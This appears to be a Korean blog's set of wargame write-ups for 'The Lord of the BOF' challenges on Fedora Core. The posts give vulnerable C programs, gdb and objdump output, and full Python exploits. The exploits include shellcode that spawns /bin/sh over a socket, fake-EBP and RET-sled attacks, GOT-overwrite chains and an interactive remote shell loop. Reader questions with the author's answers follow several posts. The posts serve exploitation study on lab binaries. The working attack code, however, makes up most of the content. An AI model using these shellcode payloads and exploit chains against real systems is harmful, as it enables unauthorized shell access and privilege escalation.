from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20001))
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += pack('<I',0x8049f4f) # jmp esp
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20000))
print s.recv(1024)
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += "\x5c\xa1\xf8\xbf"
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
  • 마루 2014.01.29 07:54

    안녕하세요. 강좌 잘 보고있습니다.
    궁금한 부분이 있어서 질문 드립니다.
    쉘코드 부분에 아래 내용이 있던데요
    왜 아래처럼 문자를 바꾸는건가요?
    shellcode.replace("\x41", chr(fd))
    보시고 답변 좀 부탁 드릴게요.
    수고하세요

    • tunz 2014.01.29 14:27 신고

      쉘코드의 해당 위치에 원래 소켓의 fd가 들어가야 합니다.
      근데 이 소켓의 fd는 상황에 따라서 값이 달라질수 있기 때문에,
      그때그때 바꿔쓰기 위해서 그 자리에 0x41로 표시해놓고, 그걸 치환해서 사용하는것입니다.

  • 마루 2014.02.05 07:10

    감사합니다. 소켓에는 dup 이 있군요.
    자세한 설명 정말 감사합니다^^
    수고하세요.

처음에 putty로 ssh 접속을 못해서 좀 해맸는데,

우선 root권한으로(또는 sudo) 접속한후,

# ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key

# ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

를 해줘야 putty로 접속 가능하다.

posted by tunz
0x080485e0 <main+80>:   mov    0x804985c,%eax
0x080485e5 <main+85>:   sub    $0x4,%esp
0x080485e8 <main+88>:   push   %eax
0x080485e9 <main+89>:   push   $0x400
0x080485ee <main+94>:   lea    0xfffffc00(%ebp),%eax
0x080485f4 <main+100>:  push   %eax
0x080485f5 <main+101>:  call   0x80483ec

...

(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x00236740
(gdb) x/10x 0x00236740
0x236740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236750 <_IO_2_1_stdin_+16>:   0xb7fe1000      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236760 <_IO_2_1_stdin_+32>:   0xb7fe2000      0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1010:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1020:     0x61616161      0x61616161

...

(gdb) r < exploit
...
(gdb) x/10x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x008cb740      0x00000000      0x00000000      0x00000000
0x804986c:      0x00000000      0x00000000      0x00000000      0x00000000
0x804987c:      0x00000000      0x00000000
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7f45000      0xb7f45000      0xb7f45000

...

(gdb) r < exploit
...
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7ff5000      0xb7ff5000      0xb7ff5000

...

(gdb) r < exploit
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fba000      0xb7fba000      0xb7fba000

stdin 버퍼의 주소값이 있는 곳이 0x008cb744 또는, 0x00236744 일 확률이 높다.

버퍼의 주소또한,

0xb7f??000 으로 두자리밖에 안바뀐다, (대충 300번정도 돌리면 한번은 걸린다는소리)

이 특징을 이용해서, fake_ebp를 시도한다.

from struct import *
from socket import *
import time
 
leave_ret = pack('<I',0x0804858e)
fake_ebp = 0xb7ff5000+272
 
i=0
while True:
        print i
        i=i+1
        buf = ""
        buf+="a"*260
        buf+=pack('<I',fake_ebp)
        buf+=leave_ret
        buf+=pack('<I',0x31337)
        buf+=pack('<I',fake_ebp)         # fake_ebp
        buf+=pack('<I',0x832abc)         # 1 execve("/bin/sh",0)
        buf+="AAAA"                      # 2
        buf+=pack('<I',0x8bd987)         # 3 &"/bin/sh"
        buf+=pack('<I',fake_ebp+4*5)     # 4
        buf+=pack('<I',fake_ebp+4*6)     # 5
        buf+="\x00\x00\x00\x00"          # 6
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(('localhost',7777))
        s.recv(1024)
        s.send(buf)
        time.sleep(0.1)
        try:
                for j in range(0,10):
                        s.send("my-pass\n")
        except:
                s.close()
                continue
        try:
                get = s.recv(1024)
                print get
                s.close()
                break
        except:
                print "except"
                s.close()
                continue
        s.close()

하….. 이게 맞았는지 틀렸는지 확실하지 않으니까, 틀렸다는걸 알아채는데 좀 오래걸린다.

그리고, send(“my-pass\n”) 를 두번이상 보내야한다.. 아마 시간차때문인듯 하다.

$ python exploit.py
...
except
159
euid = 502
let me ride

(근데, execve 대신 system함수를 사용하면, system함수 내부에서 __i686.get_pc_thunk.bx를 call할때 에러가 난다. 이유는 모르겠다…)

posted by tunz
  • 마루 2013.12.13 15:08

    안녕하세요. 궁금한 부분이 있어서 질문 드립니다.
    execve 인자 부분인데요.
    buf+=pack('<I',fake_ebp+4*5) # 4
    buf+=pack('<I',fake_ebp+4*6) # 5
    이 두부분 의미를 모르겠네요.
    좀 부탁드립니다. 수고하세요

    • tunz 2013.12.13 15:45 신고

      fake_ebp+4*6이 NULL을 가리키고 있는 포인터고, fake_ebp+4*5이 그 포인터의 주소입니다.

    • 마루 2013.12.13 16:24

      아 뒤에 있는 null을 가리키는군요.
      오 정말 감사합니다 ^^

  • ksg97031 2014.03.30 12:42

    execve 의 첫번째인자는 포인터의 주소값을 받나여 ??

    • tunz 2014.03.30 20:27 신고

      문자열을 넘길때는 항상 문자열의 주소값을 넘깁니다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cruel
        - Local BOF on Fedora Core 4
        - hint : no more fake ebp, RET sleding on random library
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

random library이긴 하지만, 경우의수가 별로 없다. 그냥 주소 하나를 잡고 될때까지 하면 되므로 별로 신경 안써도 된다.

공격방법은 ret sleding을 이용한다.

ret주소(“\x51\x84\x04\x08”)와 execve의 주소(“\xbc\x2a\x83\x00”)를 알아내고, ret의 갯수를 하나씩 늘려가면서 시도해본다

계속 반복하다가, ret을 열두개 넣었을때 execve의 두번째 인자부터 0이다.

$ strace ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` >& result
$ xxd result | grep cve -A 4
...
0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20  ecve("..uSe.T",
0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320  [0], [/* 0 vars
0000660: 2a2f 5d29 2020 3d20 2d31 2045 4e4f 454e  */])  = -1 ENOEN
0000670: 5420 284e 6f20 7375 6368 2066 696c 6520  T (No such file
0000680: 6f72 2064 6972 6563 746f 7279 290a 2d2d  or directory).--

그러므로, 해당 파일이름을 만들어주고, 그 파일에서 쉘을 실행시킨다.

$ cat sh.c int main() {

setreuid(geteuid(), geteuid()); system("/bin/sh"); } $ gcc sh.c -o sh $ ln -s sh `perl -e 'print "\x85\xc0\x75\x53\x65\xa1\x54"'`

그리고나서, exploit

$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQQQQQQQQQQQ¼*ƒ sh-3.00$ my-pass euid = 501 come on, come over

(random library 이므로, 한번에 성공하지 못할수도 있다. 두세번 더 시도하면 성공한다.)

posted by tunz


/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark_stone
        - Remote BOF on Fedora Core 3
        - hint : GOT overwriting again
        - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main()
{
        char buffer[256];
        char saved_sfp[4];
        int length;
        char temp[1024];
 
        printf("dark_stone : how fresh meat you are!\n");
        printf("you : ");
        fflush(stdout);
        // give me a food
        fgets(temp, 1024, stdin);
 
        // for disturbance RET sleding
        length = strlen(temp);
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, temp);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        // buffer cleaning
        memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);
 
        printf("%s\n", buffer);
}

다른점은 remote 라는것밖에 다른게 없다.

슈퍼데몬이라서 공격방법은 똑같고, 소켓으로 보내는점만 다르다.

이전 단계의 exploit에서 주소들만 수정해주고, 소켓으로 보내면 된다.

import os
import struct
from socket import *
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x80484f3 # pop-pop-ret
STRCPY = 0x8048438
MEMCPY = 0x8048418
MEMCPY_GOT = 0x8049850
BINSH = 0x8049878
str_c0 = 0x80484c8+8
str_07 = 0x8048178+4
str_75 = 0x80482b4
str_00 = 0x8048138
str_slash = 0x8048114
str_b = 0x8048114+3
str_i = 0x8048114+2
str_n = 0x8048114+10
str_s = 0x8048740+6
str_h = 0x80481b4+4
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(str_c0)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(str_07)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(str_75)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(str_00)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(str_b)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(str_i)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(str_n)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(str_slash)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
payload += L_E(str_s)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(str_h)
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(str_00)
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',8888))
s.send(payload+'\n')
print s.recv(1024)
while True:
        cmd = raw_input('$ ')
        if cmd == 'exit':
                s.close()
                break
        s.send(cmd+'\n')
        result = s.recv(1024)
        print result
s.close()
$ python exploit.py
dark_stone : how fresh meat you are!
you :
$ my-pass
euid = 505
let there be light


posted by tunz
  • 2013.10.12 21:34

    비밀댓글입니다

    • tunz 2013.10.13 10:23 신고

      어느 부분에서 그 에러가 나나요??
      지금 페도라를 다 지워서 확인을 못하겠네요

  • 2013.10.13 16:51

    비밀댓글입니다

    • tunz 2013.10.14 23:13 신고

      음.. 딱히 문제가 되는 부분은 없는거같은데
      strace나 gdb등으로 한번 확인해보세요


/*
        The Lord of the BOF : The Fellowship of the BOF
        - evil_wizard
        - Local BOF on Fedora Core 3
        - hint : GOT overwriting
*/
 
// magic potion for you
void pop_pop_ret(void)
{
        asm("pop %eax");
        asm("pop %eax");
        asm("ret");
}
 
int main(int argc, char *argv[])
{
        char buffer[256];
        char saved_sfp[4];
        int length;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // for disturbance RET sleding
        length = strlen(argv[1]);
 
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());
 
        // save sfp
        memcpy(saved_sfp, buffer+264, 4);
 
        // overflow!!
        strcpy(buffer, argv[1]);
 
        // restore sfp
        memcpy(buffer+264, saved_sfp, 4);
 
        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
        printf("%s\n", buffer);
}


evil_wizard.c


이번엔 드디어 pop-pop-ret이 있다.


최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.

시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.


hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...

원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,

자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.


여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.


공격순서는

1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.

2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.

3. system("/bin/sh")를 실행시킨다.


pop-pop-ret의 주소 알아내기

$ objdump -d evil_wizard | grep pop -A 1
...
 804854f:       58                      pop    %eax
 8048550:       58                      pop    %eax
 8048551:       c3                      ret
...

memcpy got의 주소와 system의 주소 알아내기

$ objdump -h evil_wizard | grep got
 19 .got          00000004  08049868  08049868  00000868  2**2
 20 .got.plt      00000038  0804986c  0804986c  0000086c  2**2
$ gdb -q evil_wizard
(gdb) b *main+319
(gdb) r 1
(gdb) x/10x 0x804986c
0x804986c <_GLOBAL_OFFSET_TABLE_>:      0x080497a0      0x007194f8      0x0070e9e0      0x00783d70
0x804987c <_GLOBAL_OFFSET_TABLE_+16>:   0x007d98f0      0x00730d50      0x0075e660      0x007854c0
0x804988c <_GLOBAL_OFFSET_TABLE_+32>:   0x007d9860      0x0804845a
(gdb) print memcpy
$1 = {<text variable, no debug info>} 0x7854c0 <memcpy>
(gdb) x/x 0x8049888
0x8049888 <_GLOBAL_OFFSET_TABLE_+28>:   0x007854c0
(gdb) print system
$2 = {<text variable, no debug info>} 0x7507c0 <system>
(gdb) print strcpy
$2 = {<text variable, no debug info>} 0x783880 <strcpy>
(gdb) x/i 0x8048494
0x8048494 <_init+200>:  jmp    *0x80498a0
(gdb) x/x 0x80498a0
0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>:   0x00783880

memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.

또, /bin/sh를 넣기위한 공간을 구한다.

$ objdump -h evil_wizard | grep bss
 22 .bss          00000004  080498b0  080498b0  000008b0  2**2
$ gdb -q evil_wizard
(gdb) b *main
Breakpoint 1 at 0x8048554
(gdb) r 1
Starting program: /home/hell_fire/evil_wizard 1
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) x/10x 0x080498b0
0x80498b0 <completed.1>:        0x00000000      0x00000000      0x00000000     0x00000000
0x80498c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x80498d0:      0x00000000      0x00000000

/bin/sh은 0x80498c0 정도에 넣도록 하겠다.

그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.

찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h

$ objdump -s evil_wizard | grep 00
...
 8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep 75
...
80486f4 0000005b 81c37511 00008d83 20ffffff  ...[..u..... ...
...
$ objdump -s evil_wizard | grep 07
...
8048148 03000000 0f000000 0d000000 07000000  ................
...
$ objdump -s evil_wizard | grep c0
...
8048524 ec08a19c 97040885 c07419b8 00000000  .........t......
...
$ objdump -s evil_wizard | grep /
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
...
$ objdump -s evil_wizard | grep h
...
 804836c 68980408 060d0000                    h.......
...

전부 알아냈으니, 이제 exploit

import os
import struct
 
def L_E(number):
        return struct.pack('<I',number)
 
PPR = 0x804854f # pop-pop-ret
STRCPY = 0x8048494
MEMCPY = 0x8048434
MEMCPY_GOT = 0x8049888
BINSH = 0x80498C0
 
payload = 'A'*268
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT)
payload += L_E(0x8048524+8) # c0
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+1)
payload += L_E(0x8048148+12) # 07
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+2)
payload += L_E(0x80486f4+6) # 75
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(MEMCPY_GOT+3)
payload += L_E(0x8048148+1) # 00
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+1)
payload += L_E(0x8048114+3) # b
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+2)
payload += L_E(0x8048114+2) # i
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+3)
payload += L_E(0x8048114+10) # n
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+4)
payload += L_E(0x8048114) # /
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+5)
#payload += L_E(0x8048114+14) # s
payload += L_E(0x8048780+5) # s
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+6)
payload += L_E(0x804836c) # h
payload += L_E(STRCPY)
payload += L_E(PPR)
payload += L_E(BINSH+7)
payload += L_E(0x8048148+1) # 00
payload += L_E(MEMCPY)
payload += "AAAA"
payload += L_E(BINSH)
 
os.system('./evil_wizard '+payload)
$ python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜
sh-3.00$ my-pass
euid = 504
get down like that

posted by tunz
  • levs 2013.09.28 01:24

    친절한 답변 감사합니다. 하나만 질문 더하겠습니다.
    그 strcpy로 왜 memory got에다가 한바이트 씩 주소를 복사하나요?
    그냥 통채로 주소 복사해버리면 안되나요?

    • tunz 2013.09.30 22:45 신고

      주소가 있다면 통째로 가져오겠지만, 없어서 부분부분 가져왔었습니다

  • levs 2013.09.30 00:45

    커리큘럼에 관해서도 질문하나 드리고 싶은데 커널공부는 언제 공부해야 적당할까요

    • tunz 2013.09.30 22:53 신고

      커널공부 저는 아직 해본적 없긴 한데, 언제든지 필요하다고 느끼시면 바로바로 하시는게 좋다고 생각합니다 ㅋㅋ
      해킹이 워낙 전범위를 알고있어야하다보니까, 딱히 공부의 시기같은건 상관 없는것 같아요.

  • aex 2013.10.19 21:36

    왜 bss영역에다 복사해주나요?

    • tunz 2013.10.20 03:50 신고

      address가 고정되어있고, read와 write가 가능한 공간중 적절한곳을 그냥 고른것입니다.

  • 마루 2013.12.05 17:25

    궁금한 부분이 있는데요
    마지막 공격시에
    MEMCPY = 0x8048434 이렇게 된 주소는 memcpy 원래주소 0x7854c0가 되야 되는거 아닌가요

    • tunz 2013.12.05 22:52 신고

      원래 주소는 ASLR때문에 항상 바뀌기때문에 사용할수 없구요,
      고정주소인 plt 주소를 사용해야합니다

    • 마루 2013.12.13 10:35

      아 넵 감사합니다^^

  • 0000 2014.10.06 19:14

    혹시 이게 rop 인가요?
    궁굼한게 많은데 혹시 네이트온 하시면 연락처좀 알려주시면 감사하겠습니다.




/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

dark_eyes.c


이번 문제에서는 fake ebp를 사용못하게 되었습니다.


하지만, execve을 쓰기위해선 ebp 조작이 필요한데, fake ebp말고 다른방법이 하나더 있습니다.

바로 esp를 조작하는 부분입니다.


gate에서는 execl+3 으로 점프하면서 첫 두줄을 실행 안했는데, 그부분을 다시 보자면


 push %ebp

 mov %esp, %ebp


였습니다.


아시겠나요?? 함수가 시작될때 ebp에는 기존의 esp 값을 넣게됩니다.

즉 esp를 조작하면 그값과 같도록 ebp가 설정된다는것을 이용하면 됩니다.


esp를 조작하는방법은 간단합니다.


ret이 실행되면, 스택에서 return address가 저장되었던 부분이 esp가 되면서 리턴이 됩니다.


이 방법을 이용하여, 원하는 esp가 될때까지 계속 ret을 하시면 됩니다.

여기서 말하는 원하는 esp란..


1. esp+8 부터 esp+(8+4n)이 NULL이 나올때까지 랜덤스택이 아닌 주소값을 가르치고 있을 경우.

2. esp+8 에 있는 주소값을 따라갔을때, string으로 잘라내기 쉬운경우.


이 두가지 조건을 만족하는 esp를 찾으면 됩니다.


찾기위해 gdb로 디버깅을 해보겠습니다.


 [iron_golem@Fedora_1stFloor ~]$ gdb -q dark_eyes

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b *main+177

Breakpoint 1 at 0x80484b9

(gdb) r 1

Starting program: /home/iron_golem/dark_eyes 1

(no debugging symbols found)...(no debugging symbols found)...1


Breakpoint 1, 0x080484b9 in main ()

(gdb) x/10x $esp

0xfef470ec:     0x00730e33      0x00000002      0xfef47174      0xfef47180

0xfef470fc:     0x0070eab6      0x0083eff4      0x00000000      0xfef47100

0xfef4710c:     0xfef47148      0xfef470f0

(gdb)



보시면, 0x00730e33이 현재 return address 입니다.


그럼, 이제 esp+8이 될수있는 후보를 찾기위해 0xfef47174부터 쭉 보면 되겠네요.

하지만, 0xfef47174,0xfef47180은 현재 랜덤스택을 가리키고 있으므로 빼겠습니다.


그럼 다음은 0x0070eab6 한번 이 포인터들이 무엇을 가리키고 있는지 보겠습니다.


 (gdb) x/10x 0x0070eab6

0x70eab6 <fixup+150>:   0x83f0558b      0xc18914ec      0xd285c031      0xc9850b74

0x70eac6 <fixup+166>:   0x428b4c74      0x01318b04      0xf8bb8bf0      0x85fffffc

0x70ead6 <fixup+182>:   0x8b0575ff      0x0189e44d


조금 복잡하네요, 스트링으로 잘라내기위해선 좀 많이 길어보입니다.

물론, 억지로 이걸로 할수도 있긴 하지만 다른포인터를 좀더 찾아보겠습니다.


다음차례인 0x0083eff4를 보겠습니다.


(gdb) x/10x 0x83eff4

0x83eff4 <svcauthsw+712>:       0x0083ed3c      0x00730b96      0x00000000      0x00818df0

0x83f004 <svcauthsw+728>:       0x0077f160      0x0077ee70      0x0077f610      0x0077f440

0x83f014 <svcauthsw+744>:       0x00711720      0x0077d430 


0x0083ed3c, null이 보이므로, 스트링으로 끊기 좋아보입니다.

이 포인터를 esp+8로 두겠습니다.

이제 그럼 "\x3c\xed\x83"이 파일명입니다.


그러면, esp를 0xfef47180로 둬야 하겠네요.

즉, 0xfef47180의 자리에다가 execve의 return address를 넣어야합니다.


그 앞부분까지는 ret를 실행하고있는 부분의 address를 넣으면 되구요.


(gdb) x/i $eip

0x80484b9 <main+177>:   ret 


이부분의 address를 사용하면 되겠습니다.


그리고 이제 execve의 주소를 알아보겠습니다.

전에는, execl로 했는데, 이번엔 불가능합니다.

왜냐하면 현재 스택상황을 보면 두번째 argument가 null인데, execl에서는 두번째 argument가 null일경우 segmentation fault가 뜹니다.

그래서, execve를 사용하겠습니다.


(gdb) print execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>


excel의 주소는 "\x90\x54\x7a\x00" 이 되겠네요.


gate와 마찬가지로 이제 shell.c를 짜겠습니다.


int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);


그리고 링크를 걸어줍니다.


[iron_golem@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x3c\x2d\x83"'`


그리고 buf에 얼마만큼 채워야 하는지 봐야 하는데..


굳이 분석할필요없이 사실 소스에 보면 딱 나와있습니다.


sfp부분을 지운다면서 264~267 부분을 지우죠.


그러므로 그냥 gate와 같이 buf의 크기는 264라는것을 알수 있습니다.


이제 공격만 하면 되는데,


구성은


./dark_eyes [A*268][ret*3][execve]


이렇게 공격해주면 되겠네요.


[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˜Pëþ¹¹¹Tz

bash-3.00$ my-pass

euid = 502

because of you 


성공했습니다.

posted by tunz

이전 레드햇에서의 BOF원정대와 달라진점은 



 1. exec-shield : 스택에 존재하는 어셈블리어는 실행이 안됩니다. 즉, 쉘코드를 스택에 올려봐야 소용이 없습니다.


2. 랜덤스택: 스택의 주소가 계속 바뀌기때문에, 어짜피 스택의 한 지점으로 점프하기도 쉽지 않습니다.


3. 00 으로 시작되는 라이브러리 주소: 00(NULL)이 들어감으로써, 라이브러리 주소를 쓰는순간 스트링이 끊깁니다. 즉, 라이브러리 주소는 마지막에 딱 한번만 사용 가능합니다.


그렇다면, 이를 해결하기위해서 제가 사용할 방법은,


execl을 이용하고, fake ebp를 이용해서 GOT부분을 execl의 argument로서 사용할것입니다.


좀더 풀어서 설명하자면,


execl의 argument는 다음과 같습니다.

execl(실행할 파일 경로, 인자1, 인자2, ... , 인자n, NULL);


이 execl을 이용해서, [uid를 재설정하고 /bin/sh를 실행시키는 프로그램]을 실행시킬겁니다.

그 프로그램은 직접 간단히 코딩해서 컴파일해둡니다.


그리고, execl은 항상 마지막 argument가 NULL(0) 이어야 합니다.

그러면서, 그 argument의 주소가 랜덤이 아닌곳이어야겠죠.

그 주소가 바로 GOT부분입니다.


GOT부분을 보면 대충 ??????? ???????? 00000000


이런식으로 있을것이고, ebp를 조작해서 저 ????? 부분을 argument로 두고,

?????와 같은 이름의 심볼릭 링크를 만들어놔서, 쉘을 실행시키는 프로그램에 연결해두면 성공입니다.


이제 문제로 들어가면,


 /*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

iron_golem.c


소스는 아주 간단합니다. 단지 환경이 좀 까다롭죠.


우선, GOT의 주소를 구하고, fake ebp를 사용할 address를 기억해두겠습니다.


[gate@Fedora_1stFloor ~]$ objdump -h iron_golem


iron_golem:     file format elf32-i386


Sections:

Idx Name          Size      VMA       LMA       File off  Algn


......


 19 .got          00000004  08049614  08049614  00000614  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 20 .got.plt      0000001c  08049618  08049618  00000618  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 21 .data         0000000c  08049634  08049634  00000634  2**2

